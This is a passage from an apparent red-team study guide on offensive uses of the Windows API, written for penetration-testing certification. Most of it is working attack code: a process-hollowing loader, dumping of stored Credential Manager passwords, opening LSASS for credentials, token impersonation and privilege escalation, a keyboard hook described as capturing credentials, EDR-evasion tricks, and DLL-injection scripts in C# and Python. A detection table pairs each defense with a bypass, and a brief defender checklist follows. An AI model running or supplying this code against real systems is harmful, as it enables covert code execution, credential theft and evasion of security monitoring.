    DWORD dwBytesRead = 0;
    ReadFile(hPayloadFile, lpPayloadData, dwPayloadSize, &dwBytesRead, NULL);
    CloseHandle(hPayloadFile);

    printf("Payload size: %d bytes\n", dwPayloadSize);

    // Create target process in suspended state
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (!CreateProcessA(szTargetExe, NULL, NULL, NULL, FALSE, 
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessA failed: %d\n", GetLastError());
        free(lpPayloadData);
        return 1;
    }

    printf("Target process created (PID=%d), suspended\n", pi.dwProcessId);

    // Get NtUnmapViewOfSection function
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");

    if (NtUnmapViewOfSection == NULL) {
        printf("Failed to get NtUnmapViewOfSection\n");
        return 1;
    }

    // Get target process base address (from PEB)
    CONTEXT ctx = {0};
    ctx.ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("GetThreadContext failed: %d\n", GetLastError());
        return 1;
    }

    // Parse PE headers to get image base
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)lpPayloadData;
    IMAGE_NT_HEADERS* pNtHeaders = 
        (IMAGE_NT_HEADERS*)(lpPayloadData + pDosHeader->e_lfanew);

    DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
    DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
    DWORD dwEntryPoint = pNtHeaders->OptionalHeader.AddressOfEntryPoint;

    printf("Payload ImageBase: 0x%x, Size: 0x%x, EntryPoint: 0x%x\n", 
           dwImageBase, dwImageSize, dwEntryPoint);

    // Unmap target process image
    NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, (PVOID)dwImageBase);
    if (!NT_SUCCESS(status)) {
        printf("NtUnmapViewOfSection failed: 0x%x\n", status);
        return 1;
    }

    printf("Target process image unmapped\n");

    // Allocate memory at payload image base
    LPVOID lpRemoteImage = VirtualAllocEx(
        pi.hProcess,
        (LPVOID)dwImageBase,
        dwImageSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (lpRemoteImage == NULL) {
        printf("VirtualAllocEx failed: %d\n", GetLastError());
        return 1;
    }

    printf("Memory allocated at 0x%p\n", lpRemoteImage);

    // Write payload to target process
    if (!WriteProcessMemory(pi.hProcess, lpRemoteImage, lpPayloadData, dwPayloadSize, NULL)) {
        printf("WriteProcessMemory failed: %d\n", GetLastError());
        return 1;
    }

    printf("Payload written to target process\n");

    // Update thread context to point to new entry point
    ctx.Rcx = (DWORD64)dwImageBase + dwEntryPoint;  // x64
    // OR for x86: ctx.Eax = dwImageBase + dwEntryPoint;

    if (!SetThreadContext(pi.hThread, &ctx)) {
        printf("SetThreadContext failed: %d\n", GetLastError());
        return 1;
    }

    printf("Thread context updated, entry point: 0x%llx\n", ctx.Rcx);

    // Resume thread
    ResumeThread(pi.hThread);
    printf("Thread resumed, payload executing...\n");

    // Wait for process to complete
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    free(lpPayloadData);

    return 0;
}

Why Process Hollowing is Effective:

  • No obvious "child process" relationship (parent != grandparent)
  • Legitimate process name in process list
  • No DLL loaded from unusual paths
  • Entry point redirection is hard to detect without kernel inspection
  • Bypasses many endpoint detection rules

9. Credential Harvesting APIs

9.1 LSADumpSecrets / SecretManager

Purpose: Extract stored credentials from LSASS (Local Security Authority Subsystem Service)

// Note: This requires SeDebugPrivilege and typically SYSTEM context
// Typically done via Mimikatz or custom tools

// Manual approach using WinAPI:

// 1. Get SeDebugPrivilege
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

LUID luid = {0};
LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid);

TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

// 2. Open LSASS process
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, dwLsassPid);

// 3. Read LSASS memory to extract credentials
// (Complex reverse engineering required to find credential structures)

CloseHandle(hToken);

9.2 CredEnumerateA / CredReadA

Purpose: Retrieve stored credentials from Windows Credential Manager

#include <Windows.h>
#include <wincred.h>
#pragma comment(lib, "credui.lib")

int main() {
    DWORD dwCount = 0;
    PCREDENTIAL* ppCredentials = NULL;

    // Enumerate stored credentials
    if (!CredEnumerateA(NULL, 0, &dwCount, &ppCredentials)) {
        printf("CredEnumerateA failed: %d\n", GetLastError());
        return 1;
    }

    printf("Found %d stored credentials\n", dwCount);

    for (DWORD i = 0; i < dwCount; i++) {
        PCREDENTIAL pCred = ppCredentials[i];

        printf("\nTarget: %s\n", pCred->TargetName);
        printf("Type: %d\n", pCred->Type);
        printf("Username: %s\n", pCred->UserName);

        // CredentialBlobSize contains password length
        if (pCred->CredentialBlob) {
            printf("Password: %.*s\n", pCred->CredentialBlobSize, 
                   (char*)pCred->CredentialBlob);
        }
    }

    // Cleanup
    CredFree(ppCredentials);

    return 0;
}

Compile: cl /link credui.lib credentials.c

9.3 GetProcessEnv / ReadProcessMemory for Credential Extraction

Purpose: Extract credentials from process memory (cached data, environment variables, registry)

// Extract credentials from environment variables
LPSTR lpEnv = GetEnvironmentStrings();
LPSTR lpVar = lpEnv;

while (*lpVar) {
    printf("%s\n", lpVar);

    // Look for password-related env vars
    if (strstr(lpVar, "PASSWORD") || strstr(lpVar, "TOKEN") || strstr(lpVar, "SECRET")) {
        printf("  ^^^ FOUND CREDENTIAL!\n");
    }

    lpVar += strlen(lpVar) + 1;
}

FreeEnvironmentStrings(lpEnv);

// Read targeted process environment
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid);
// ... enumerate PEB and read environment block

10. Privilege Escalation APIs

10.1 TokenImpersonation / Potato Attacks

Purpose: Escalate from lower privilege to SYSTEM via impersonation

// Simplified JuicyPotato concept:
// 1. Listen on COM port as SYSTEM
// 2. Trigger SYSTEM to connect and authenticate
// 3. Steal SYSTEM token
// 4. Impersonate SYSTEM

HANDLE hToken = NULL;
HANDLE hProcessToken = NULL;

// Get impersonation token from accepting incoming connection from SYSTEM
// (This requires COM marshalling and authentication negotiation)

// Once SYSTEM token obtained:
if (ImpersonateLoggedOnUser(hToken)) {
    printf("Impersonating SYSTEM\n");

    // Execute privileged operations
    WinExec("cmd.exe /c whoami", SW_SHOW);

    RevertToSelf();
}

10.2 Token Duplication / Parent PID Spoofing

Purpose: Inherit elevated token from parent process

// GetCurrentProcessToken
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken)) {
    printf("OpenProcessToken failed\n");
    return 1;
}

// Duplicate token to primary token
HANDLE hDuplicatedToken = NULL;
if (!DuplicateTokenEx(
    hToken,                            // Source token
    TOKEN_ALL_ACCESS,                  // Desired access
    NULL,                              // Security attributes
    SecurityImpersonation,             // Impersonation level
    TokenPrimary,                      // Token type (Primary for process creation)
    &hDuplicatedToken                  // Output token
)) {
    printf("DuplicateTokenEx failed: %d\n", GetLastError());
    return 1;
}

// Create process with duplicated (potentially elevated) token
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

if (!CreateProcessAsUserA(
    hDuplicatedToken,                  // Token to use
    "cmd.exe",                         // Application
    NULL,                              // Command line
    NULL,                              // Process security
    NULL,                              // Thread security
    FALSE,                             // Inherit handles
    CREATE_NEW_CONSOLE,                // Creation flags
    NULL,                              // Environment
    NULL,                              // Current directory
    &si,                               // Startup info
    &pi                                // Process info
)) {
    printf("CreateProcessAsUserA failed: %d\n", GetLastError());
}

printf("Process created with token: %d\n", pi.dwProcessId);

CloseHandle(hDuplicatedToken);
CloseHandle(hToken);

11. Hooking & Interception APIs

11.1 SetWindowsHookEx

Purpose: Install global hook to intercept events (keyboard, mouse, messages)

#include <Windows.h>

// Hook callback function
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode < 0) {
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }

    if (wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam;
        printf("Key pressed: vkCode=%d\n", pKeyboard->vkCode);

        // Log credentials as user types
        // (Advanced: integrate with registry/memory search)
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// Install hook
HHOOK hHook = SetWindowsHookEx(
    WH_KEYBOARD_LL,                    // Hook type (keyboard)
    KeyboardHookProc,                  // Hook callback
    GetModuleHandleA(NULL),            // Module (DLL) containing hook
    0                                  // Thread ID (0 = all threads)
);

if (hHook == NULL) {
    printf("SetWindowsHookEx failed: %d\n", GetLastError());
}

// Message loop (required for hook to work)
MSG msg = {0};
while (GetMessageA(&msg, NULL, 0, 0) > 0) {
    TranslateMessage(&msg);
    DispatchMessageA(&msg);
}

// Remove hook
UnhookWindowsHookEx(hHook);

11.2 SetWindowLongPtr / Subclassing

Purpose: Replace window procedure to intercept messages

// Original window procedure
WNDPROC lpfnOldWndProc = NULL;

// New window procedure (hook)
LRESULT CALLBACK NewWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    switch (uMsg) {
        case WM_KEYDOWN:
            printf("Key: %d\n", wParam);
            break;
        case WM_CLOSE:
            printf("Window closing\n");
            break;
    }

    // Call original window procedure
    return CallWindowProcA(lpfnOldWndProc, hwnd, uMsg, wParam, lParam);
}

// Install hook
lpfnOldWndProc = (WNDPROC)SetWindowLongPtrA(
    hwnd,                              // Window handle
    GWLP_WNDPROC,                      // Window procedure
    (LONG_PTR)NewWindowProc            // New procedure
);

12. Red Team Evasion via API

12.1 Bypassing AV/EDR via Native APIs

Technique: Use ntdll.dll directly instead of kernel32.dll

// Instead of:
// CreateProcessA(...);

// Use native syscall:
typedef NTSTATUS (NTAPI *pNtCreateProcess)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    BOOLEAN InheritObjectTable,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort
);

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateProcess NtCreateProcess = 
    (pNtCreateProcess)GetProcAddress(hNtdll, "NtCreateProcess");

NTSTATUS status = NtCreateProcess(
    &hProcess,
    PROCESS_ALL_ACCESS,
    NULL,
    GetCurrentProcess(),
    FALSE,
    NULL,
    NULL,
    NULL
);

// Advantages:
// - Bypasses Kernel32.dll hooks (set by EDR)
// - Direct syscall, harder to intercept
// - Less logging

12.2 Indirect Syscalls / Syscall Obfuscation

// Get Ntdll syscall numbers dynamically
// instead of hardcoding them

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtOpenProcess NtOpenProcess = 
    (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

// Or use function pointer and execute
asm {
    mov rax, [rcx]  // Syscall number
    syscall
};

12.3 Memory Protection Evasion

// Allocate memory with PAGE_NOACCESS initially
LPVOID lpMem = VirtualAllocEx(
    hProcess,
    NULL,
    4096,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_NOACCESS              // No access initially
);

// Write to memory anyway (may bypass some checks)
WriteProcessMemory(hProcess, lpMem, shellcode, sizeof(shellcode), NULL);

// Then change protection
DWORD dwOldProtect = 0;
VirtualProtectEx(
    hProcess,
    lpMem,
    4096,
    PAGE_EXECUTE_READWRITE,    // Now executable
    &dwOldProtect
);

// Execute
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);

// Change back to PAGE_NOACCESS after execution (cover tracks)
VirtualProtectEx(hProcess, lpMem, 4096, PAGE_NOACCESS, &dwOldProtect);

13. C# & P/Invoke for API Calls

13.1 Basic P/Invoke Syntax

using System;
using System.Runtime.InteropServices;

class WinAPI {
    // Declare Windows API functions
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern HANDLE OpenProcess(
        uint dwDesiredAccess,
        bool bInheritHandle,
        uint dwProcessId
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(
        IntPtr hObject
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(
        IntPtr hProcess,
        IntPtr lpAddress,
        uint dwSize,
        uint flAllocationType,
        uint flProtect
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(
        IntPtr hProcess,
        IntPtr lpBaseAddress,
        byte[] lpBuffer,
        uint nSize,
        out UIntPtr lpNumberOfBytesWritten
    );

    // Constants
    public const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    public const uint MEM_COMMIT = 0x1000;
    public const uint MEM_RESERVE = 0x2000;
    public const uint PAGE_EXECUTE_READWRITE = 0x40;

    static void Main() {
        uint targetPid = 1234;  // Target process ID
        string dllPath = "C:\\malicious.dll";

        // Open target process
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);

        if (hProcess == IntPtr.Zero) {
            Console.WriteLine($"Failed to open process: {Marshal.GetLastWin32Error()}");
            return;
        }

        // Allocate memory
        IntPtr lpRemoteBuffer = VirtualAllocEx(
            hProcess,
            IntPtr.Zero,
            (uint)dllPath.Length + 1,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );

        if (lpRemoteBuffer == IntPtr.Zero) {
            Console.WriteLine($"VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hProcess);
            return;
        }

        // Write DLL path
        byte[] dllBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
        UIntPtr bytesWritten;

        if (!WriteProcessMemory(hProcess, lpRemoteBuffer, dllBytes, (uint)dllBytes.Length, out bytesWritten)) {
            Console.WriteLine($"WriteProcessMemory failed: {Marshal.GetLastWin32Error()}");
        }

        Console.WriteLine($"Wrote {bytesWritten} bytes to target process");

        CloseHandle(hProcess);
    }
}

13.2 P/Invoke for Privilege Escalation

using System;
using System.Runtime.InteropServices;

class PrivEsc {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(
        IntPtr ProcessHandle,
        uint DesiredAccess,
        out IntPtr TokenHandle
    );

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(
        string lpSystemName,
        string lpName,
        out LUID lpLuid
    );

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool AdjustTokenPrivileges(
        IntPtr TokenHandle,
        bool DisableAllPrivileges,
        ref TOKEN_PRIVILEGES NewState,
        uint BufferLength,
        IntPtr PreviousState,
        IntPtr ReturnLength
    );

    [StructLayout(LayoutKind.Sequential)]
    public struct LUID {
        public uint LowPart;
        public int HighPart;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct TOKEN_PRIVILEGES {
        public uint PrivilegeCount;
        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
        public LUID_AND_ATTRIBUTES[] Privileges;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct LUID_AND_ATTRIBUTES {
        public LUID Luid;
        public uint Attributes;
    }

    public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
    public const uint TOKEN_QUERY = 0x00000008;
    public const uint SE_PRIVILEGE_ENABLED = 0x00000002;

    static void Main() {
        IntPtr hToken = IntPtr.Zero;

        // Get current process token
        if (!OpenProcessToken(
            System.Diagnostics.Process.GetCurrentProcess().Handle,
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            out hToken
        )) {
            Console.WriteLine($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        // Enable SeDebugPrivilege
        LUID luid;
        if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid)) {
            Console.WriteLine($"LookupPrivilegeValue failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Privileges = new LUID_AND_ATTRIBUTES[1];
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        if (!AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero)) {
            Console.WriteLine($"AdjustTokenPrivileges failed: {Marshal.GetLastWin32Error()}");
            return;
        }

        Console.WriteLine("SeDebugPrivilege enabled!");
    }
}

14. Python ctypes for Windows API

14.1 Basic ctypes Usage

import ctypes
import ctypes.wintypes as wintypes
from ctypes import windll, Structure, POINTER, sizeof, c_void_p, c_char_p

# Define Windows types
DWORD = ctypes.c_ulong
LPVOID = ctypes.c_void_p
HANDLE = ctypes.c_void_p

# Get kernel32 library
kernel32 = windll.kernel32

# Define OpenProcess signature
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [DWORD, wintypes.BOOL, DWORD]
OpenProcess.restype = HANDLE

# Constants
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008
PROCESS_ALL_ACCESS = 0x1F0FFF

# Call OpenProcess
target_pid = 1234
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)

if not hProcess:
    print(f"Failed to open process: {ctypes.get_last_error()}")
else:
    print(f"Process handle: {hProcess}")

14.2 DLL Injection in Python

import ctypes
import ctypes.wintypes as wintypes
from ctypes import windll, Structure, POINTER, sizeof, c_void_p
import sys

# Define structures
class PROCESS_INFORMATION(Structure):
    _fields_ = [
        ("hProcess", ctypes.c_void_p),
        ("hThread", ctypes.c_void_p),
        ("dwProcessId", ctypes.c_ulong),
        ("dwThreadId", ctypes.c_ulong)
    ]

class STARTUPINFO(Structure):
    _fields_ = [
        ("cb", ctypes.c_ulong),
        ("lpReserved", ctypes.c_char_p),
        ("lpDesktop", ctypes.c_char_p),
        ("lpTitle", ctypes.c_char_p),
        ("dwX", ctypes.c_ulong),
        ("dwY", ctypes.c_ulong),
        ("dwXSize", ctypes.c_ulong),
        ("dwYSize", ctypes.c_ulong),
        ("dwXCountChars", ctypes.c_ulong),
        ("dwYCountChars", ctypes.c_ulong),
        ("dwFillAttribute", ctypes.c_ulong),
        ("dwFlags", ctypes.c_ulong),
        ("wShowWindow", ctypes.c_ushort),
        ("cbReserved2", ctypes.c_ushort),
        ("lpReserved2", ctypes.c_char_p),
        ("hStdInput", ctypes.c_void_p),
        ("hStdOutput", ctypes.c_void_p),
        ("hStdError", ctypes.c_void_p)
    ]

# Get kernel32
kernel32 = windll.kernel32
advapi32 = windll.advapi32

# Define API functions
CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = [ctypes.c_char_p, ctypes.c_char_p, ctypes.c_void_p,
                           ctypes.c_void_p, wintypes.BOOL, ctypes.c_ulong,
                           ctypes.c_void_p, ctypes.c_char_p, POINTER(STARTUPINFO),
                           POINTER(PROCESS_INFORMATION)]
CreateProcessA.restype = wintypes.BOOL

OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [ctypes.c_ulong, wintypes.BOOL, ctypes.c_ulong]
OpenProcess.restype = ctypes.c_void_p

VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
                           ctypes.c_ulong, ctypes.c_ulong]
VirtualAllocEx.restype = ctypes.c_void_p

WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_char_p,
                               ctypes.c_ulong, POINTER(ctypes.c_ulong)]
WriteProcessMemory.restype = wintypes.BOOL

CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
                               ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
                               POINTER(ctypes.c_ulong)]
CreateRemoteThread.restype = ctypes.c_void_p

GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
GetProcAddress.restype = ctypes.c_void_p

GetModuleHandleA = kernel32.GetModuleHandleA
GetModuleHandleA.argtypes = [ctypes.c_char_p]
GetModuleHandleA.restype = ctypes.c_void_p

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CREATE_NO_WINDOW = 0x08000000

# Injection logic
def inject_dll(target_pid, dll_path):
    print(f"[*] Injecting {dll_path} into PID {target_pid}")

    # Open target process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)
    if not hProcess:
        print(f"[-] Failed to open process: {ctypes.get_last_error()}")
        return False

    print(f"[+] Process opened: {hProcess}")

    # Allocate memory
    dll_path_bytes = dll_path.encode() + b'\x00'
    lpRemoteBuffer = VirtualAllocEx(
        hProcess, None, len(dll_path_bytes),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    )

    if not lpRemoteBuffer:
        print(f"[-] VirtualAllocEx failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hProcess)
        return False

    print(f"[+] Memory allocated: {lpRemoteBuffer}")

    # Write DLL path
    bytes_written = ctypes.c_ulong(0)
    if not WriteProcessMemory(hProcess, lpRemoteBuffer, dll_path_bytes,
                              len(dll_path_bytes), ctypes.byref(bytes_written)):
        print(f"[-] WriteProcessMemory failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hProcess)
        return False

    print(f"[+] Wrote {bytes_written.value} bytes")

    # Get LoadLibraryA address
    hKernel32 = GetModuleHandleA(b"kernel32.dll")
    pLoadLibraryA = GetProcAddress(hKernel32, b"LoadLibraryA")

    print(f"[+] LoadLibraryA: {pLoadLibraryA}")

    # Create remote thread
    hThread = CreateRemoteThread(
        hProcess, None, 0, pLoadLibraryA, lpRemoteBuffer, 0, None
    )

    if not hThread:
        print(f"[-] CreateRemoteThread failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hProcess)
        return False

    print(f"[+] Remote thread created: {hThread}")
    kernel32.WaitForSingleObject(hThread, 0xFFFFFFFF)  # INFINITE
    print("[+] Injection complete!")

    kernel32.CloseHandle(hThread)
    kernel32.CloseHandle(hProcess)

    return True

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <PID> <DLL_PATH>")
        sys.exit(1)

    target_pid = int(sys.argv[1])
    dll_path = sys.argv[2]

    inject_dll(target_pid, dll_path)

15. Detection & Defense

15.1 Detection Signatures

EDR/AV Detection Rules:

Technique Detection Bypass
CreateRemoteThread Hook kernel32!CreateRemoteThread, monitor PROCESS_VM_WRITE Use NtCreateThreadEx
VirtualAllocEx + PAGE_EXECUTE_READWRITE Monitor RWX allocations, suspicious patterns Allocate PAGE_NOACCESS first, then VirtualProtectEx
WriteProcessMemory Hook WriteProcessMemory, monitor cross-process writes Use direct syscalls, write in chunks
Process Hollowing Monitor NtUnmapViewOfSection, thread context changes Use alternative methods, randomize timing
Token Manipulation Monitor AdjustTokenPrivileges for SeDebugPrivilege Use inherited tokens, timing obfuscation
Registry Persistence Monitor HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Use indirect methods, WMI, scheduled tasks

15.2 Defense Best Practices

For System Defenders:

1. Code Integrity & Attestation
   - Enable Code Integrity Guard (CIG)
   - Enforce code signing
   - Monitor unsigned binaries

2. Process Isolation
   - Restrict OpenProcess calls (Debug privilege only)
   - Enable Kernel-mode Code Integrity (KMCI)
   - Require secure boot

3. Memory Protections
   - Randomize heap layouts (ASLR)
   - Enable DEP/NX bit
   - Use Control Flow Guard (CFG)

4. Monitoring & Logging
   - Enable Sysmon event logging
   - Monitor OpenProcess calls with PROCESS_VM_WRITE
   - Alert on CreateRemoteThread usage
   - Track token impersonation

5. Privilege Management
   - Use least privilege principle
   - Remove SeDebugPrivilege from normal users
   - Audit privilege elevation attempts

6. EDR Deployment
   - Install userland hook-based EDR
   - Monitor syscall patterns
   - Analyze PE injection signatures

16. Cheat Sheet

Quick Reference — Common APIs

// Process Management
OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
CreateProcessA(lpAppName, lpCmdLine, ...)
GetCurrentProcess()
TerminateProcess(hProcess, uExitCode)

// Memory Operations
VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocType, flProtect)
VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType)
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, ...)
ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, ...)
VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, ...)

// Thread Control
CreateRemoteThread(hProcess, lpAttrs, dwStackSize, lpStart, lpParam, ...)
GetThreadContext(hThread, lpContext)
SetThreadContext(hThread, lpContext)
SuspendThread(hThread)
ResumeThread(hThread)

// Token & Privileges
OpenProcessToken(hProcess, dwDesiredAccess, phToken)
AdjustTokenPrivileges(hToken, bDisableAll, pNewState, ...)
LookupPrivilegeValue(lpSystemName, lpName, pluid)
ImpersonateLoggedOnUser(hToken)
RevertToSelf()

// File Operations
CreateFileA(lpFileName, dwDesiredAccess, dwShareMode, ...)
ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, ...)
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, ...)
CloseHandle(hObject)

// Registry Operations
RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult)
RegQueryValueExA(hKey, lpValueName, ..., lpData, lpcbData)
RegSetValueExA(hKey, lpValueName, Reserved, dwType, lpData, cbData)
RegCloseKey(hKey)

// Credential Management
CredEnumerateA(Filter, Flags, pCount, ppCredentials)
CredReadA(TargetName, Type, Flags, ppCredential)
GetUserNameA(lpBuffer, nSize)

Access Rights Quick Reference

PROCESS_TERMINATE              = 0x0001    // Kill process
PROCESS_CREATE_THREAD          = 0x0002    // Create threads
PROCESS_VM_OPERATION           = 0x0008    // VirtualAllocEx/VirtualFreeEx
PROCESS_VM_READ                = 0x0010    // ReadProcessMemory
PROCESS_VM_WRITE               = 0x0020    // WriteProcessMemory
PROCESS_DUP_HANDLE             = 0x0040    // Duplicate handles
PROCESS_CREATE_PROCESS         = 0x0080    // Create child processes
PROCESS_SET_INFORMATION        = 0x0200    // SetProcessInformation
PROCESS_QUERY_INFORMATION      = 0x0400    // GetExitCodeProcess, etc
PROCESS_ALL_ACCESS             = 0x1F0FFF  // All of the above

Creation Flags

CREATE_NEW_CONSOLE             = 0x00000010  // New console window
CREATE_NEW_PROCESS_GROUP       = 0x00000200  // New process group
CREATE_SUSPENDED               = 0x00000004  // Start suspended
CREATE_NO_WINDOW               = 0x08000000  // No console window
DETACHED_PROCESS               = 0x00000008  // Detached from parent

Memory Protection Flags

PAGE_NOACCESS                  = 0x01    // No access
PAGE_READONLY                  = 0x02    // Read-only
PAGE_READWRITE                 = 0x04    // Read/Write
PAGE_WRITECOPY                 = 0x08    // Copy-on-write
PAGE_EXECUTE                   = 0x10    // Execute only
PAGE_EXECUTE_READ              = 0x20    // Execute + Read
PAGE_EXECUTE_READWRITE         = 0x40    // Execute + Read + Write
PAGE_EXECUTE_WRITECOPY         = 0x80    // Execute + Copy-on-write

Summary

The Windows API is the foundation of system-level operations on Windows. For red teamers preparing for CPTS and penetration testing, understanding process manipulation, memory operations, token abuse, and injection techniques is critical.

Key Takeaways:

  1. Process & Memory APIs enable code injection and process manipulation
  2. Token APIs allow privilege escalation and impersonation attacks
  3. Registry/File APIs facilitate persistence and credential theft
  4. Native syscalls (ntdll) bypass userland hooks
  5. P/Invoke (C#) and ctypes (Python) make API access accessible
  6. EDR/AV detection focuses on specific APIs — understand evasion techniques
  7. Always handle errors properly and close handles to avoid resource leaks

Good luck with your CPTS and red team training!


References:

  • https://docs.microsoft.com/en-us/windows/win32/api/
  • https://learn.microsoft.com/en-us/windows/win32/debug/
  • https://github.com/gentilkiwi/mimikatz (practical examples)
  • https://github.com/S3cur3Th1sSh1t/SharpHook (C# hooking examples)
  • https://www.offensive-security.com/ (CPTS course materials)

← Windows top ↑